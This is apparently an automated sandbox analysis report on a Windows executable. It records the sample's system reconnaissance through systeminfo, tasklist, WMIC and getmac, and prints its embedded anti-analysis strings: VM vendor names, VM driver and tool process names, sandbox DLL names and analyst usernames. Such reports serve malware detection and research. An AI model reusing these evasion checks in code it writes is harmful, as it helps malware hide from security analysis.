Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Process created: C:\Windows\System32\systeminfo.exe "systeminfo"

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Process created: C:\Windows\System32\tasklist.exe "tasklist" /m sbiedll.dll

Source: 9KEZfGRjyK.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 9KEZfGRjyK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 9KEZfGRjyK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 9KEZfGRjyK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 9KEZfGRjyK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 9KEZfGRjyK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 9KEZfGRjyK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 9KEZfGRjyK.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 9KEZfGRjyK.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: data.pdb source: 9KEZfGRjyK.exe
Source:	Binary string: data.pdb)444 source: 9KEZfGRjyK.exe

Source: 9KEZfGRjyK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 9KEZfGRjyK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 9KEZfGRjyK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 9KEZfGRjyK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 9KEZfGRjyK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B903AA60 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,lstrlenW,GetCurrentProcessId,CreateMutexA,CloseHandle,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,ReleaseMutex,

0_2_00007FF7B903AA60

Source: 9KEZfGRjyK.exe

Static PE information: section name: .padding

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contain functionality to detect virtual machines

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel /mtasklistsandboxusertestadminroot	0_2_00007FF7B9018B20
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq wmicC:\windows\sysnative\drivers\vmmouse.sysC:\	0_2_00007FF7B9012720
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel	0_2_00007FF7B9011000
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel	0_2_00007FF7B90242E0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel	0_2_00007FF7B90384D0

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model, Size FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: tasklist.exe, 00000016.00000002.1780099999.00000299E7920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: API_LOG.DLL:\US
Source: tasklist.exe, 00000012.00000002.1760924301.000002991D9A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL:\US
Source: tasklist.exe, 00000012.00000002.1760771163.000002991D828000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000012.00000003.1760049495.000002991D827000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000012.00000003.1759911172.000002991D816000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKLIST/MSBIEDLL.DLL@
Source: tasklist.exe, 00000016.00000003.1779101879.00000299E7688000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000016.00000003.1778941181.00000299E7685000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000016.00000002.1779926159.00000299E7689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: API_LOG.DLL
Source: 9KEZfGRjyK.exe	Binary or memory string: DIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLL/MTASKLISTSANDBOXUSERTESTADMINROOTMALWAREANALYSISDEFAULTABBEYADMINISTRATORALBRUNOBRUNOFREDFREDGEORGEGEORGEHARRY JOHNSONLISAPAUL userWORKVTCDEKKERUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMCOMPUTERSYSTEMGETMODEL
Source: tasklist.exe, 00000012.00000002.1760618205.000002991D7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\DESKTOP\C:\WINDOWS\SYSTEM32\TASKLIST.EXE"TASKLIST" /M SBIEDLL.DLLC:\WINDOWS\SYSTEM32\TASKLIST.EXEWINSTA0\DEFAULT
Source: tasklist.exe, 00000012.00000002.1760618205.000002991D7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "TASKLIST" /M SBIEDLL.DLL
Source: tasklist.exe, 00000018.00000002.1784817596.000001E4189D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "TASKLIST" /M DIR_WATCH.DLL
Source: 9KEZfGRjyK.exe	Binary or memory string: DBGHELP.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLL/MTASKLISTSANDBOXUSERTESTADMINROOTMALWAREANALYSISDEFAULTABBEYADMINISTRATORALBRUNOBRUNOFREDFREDGEORGEGEORGEHARRY JOHNSONLISAPAUL userWORKVTCDEKKERUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMCOM
Source: 9KEZfGRjyK.exe	Binary or memory string: SBIEDLL.DLLDBGHELP.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLL/MTASKLISTSANDBOXUSERTESTADMINROOTMALWAREANALYSISDEFAULTABBEYADMINISTRATORALBRUNOBRUNOFREDFREDGEORGEGEORGEHARRY JOHNSONLISAPAUL userWORKVTCDEKKERUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARA
Source: 9KEZfGRjyK.exe	Binary or memory string: API_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLL/MTASKLISTSANDBOXUSERTESTADMINROOTMALWAREANALYSISDEFAULTABBEYADMINISTRATORALBRUNOBRUNOFREDFREDGEORGEGEORGEHARRY JOHNSONLISAPAUL userWORKVTCDEKKERUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMCOMPUTERSYSTEM
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02D7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2460062209.0000025DD6519000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.0.dr	Binary or memory string: - DIR_WATCH.DLL
Source: tasklist.exe, 00000016.00000002.1780099999.00000299E7920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKLIST/MAPI_LOG.DLLOWSTEMP
Source: tasklist.exe, 00000018.00000002.1784950897.000001E418A0B000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000018.00000003.1783904747.000001E418A0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKLIST/MDIR_WATCH.DLLT
Source: tasklist.exe, 00000018.00000002.1784950897.000001E418A0B000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000018.00000002.1785131555.000001E418B30000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000018.00000003.1783904747.000001E418A0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DIR_WATCH.DLL
Source: tasklist.exe, 00000016.00000002.1779777600.00000299E7650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\DESKTOP\C:\WINDOWS\SYSTEM32\TASKLIST.EXE"TASKLIST" /M API_LOG.DLLC:\WINDOWS\SYSTEM32\TASKLIST.EXEWINSTA0\DEFAULT
Source: tasklist.exe, 00000018.00000002.1784817596.000001E4189D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\DESKTOP\C:\WINDOWS\SYSTEM32\TASKLIST.EXE"TASKLIST" /M DIR_WATCH.DLLC:\WINDOWS\SYSTEM32\TASKLIST.EXEWINSTA0\DEFAULT
Source: tasklist.exe, 00000012.00000002.1760771163.000002991D828000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000012.00000003.1760049495.000002991D827000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000012.00000003.1759911172.000002991D816000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: tasklist.exe, 00000016.00000002.1779777600.00000299E7650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "TASKLIST" /M API_LOG.DLL
Source: 9KEZfGRjyK.exe	Binary or memory string: SBIEDLL.DLLDBGHELP.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLL/MTASKLISTSANDBOXUSERTESTADMINROOTMALWAREANALYSISDEFAULTABBEYADMINISTRATORALBRUNOBRUNOFREDFREDGEORGEGEORGEHARRY JOHNSONLISAPAUL userWORKVTCDEKKERUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMCOMPUTERSYSTEMGETMODEL
Source: tasklist.exe, 00000018.00000002.1785131555.000001E418B30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKLIST/MDIR_WATCH.DLLTEMP
Source: tasklist.exe, 00000012.00000002.1760924301.000002991D9A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKLIST/MSBIEDLL.DLLOWSTEMP
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02D7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2460062209.0000025DD6519000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.0.dr	Binary or memory string: - API_LOG.DLL
Source: tasklist.exe, 00000016.00000003.1779101879.00000299E7688000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000016.00000003.1778941181.00000299E7685000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000016.00000002.1779926159.00000299E7689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKLIST/MAPI_LOG.DLLM
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02D7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2460062209.0000025DD6519000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.0.dr	Binary or memory string: - SBIEDLL.DLL

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	File opened / queried: C:\windows\sysnative\drivers\vmhgfs.sys			Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	File opened / queried: C:\windows\sysnative\drivers\vmmouse.sys			Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BIOS
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BaseBoard
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT IdentifyingNumber FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM WIN32_PROCESSOR
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B902EB20 CloseHandle,FindFirstFileW,FindClose,

0_2_00007FF7B902EB20

Source: tasklist.exe, 00000026.00000002.1825703380.000001C0633E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasklist/fiIMAGENAME eq vboxtray.exea\Local\Tem
Source: 9KEZfGRjyK.exe	Binary or memory string: wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq
Source: tasklist.exe, 00000024.00000002.1822204485.000002B99E388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXSERVICE.EXE');
Source: 9KEZfGRjyK.exe	Binary or memory string: C:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq
Source: tasklist.exe, 00000026.00000002.1825703380.000001C0633E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE'PROI
Source: 9KEZfGRjyK.exe	Binary or memory string: malwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: testadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: C:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq
Source: tasklist.exe, 00000026.00000002.1825589127.000001C06327C000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000026.00000003.1824734626.000001C06327C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE'
Source: 9KEZfGRjyK.exe	Binary or memory string: workvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: tasklist.exe, 00000022.00000003.1813576853.00000219841C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: , ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE'0
Source: 9KEZfGRjyK.exe	Binary or memory string: analysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: tasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: pstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: usertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: defaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: dir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: adminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
Source: 9KEZfGRjyK.exe	Binary or memory string: LisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
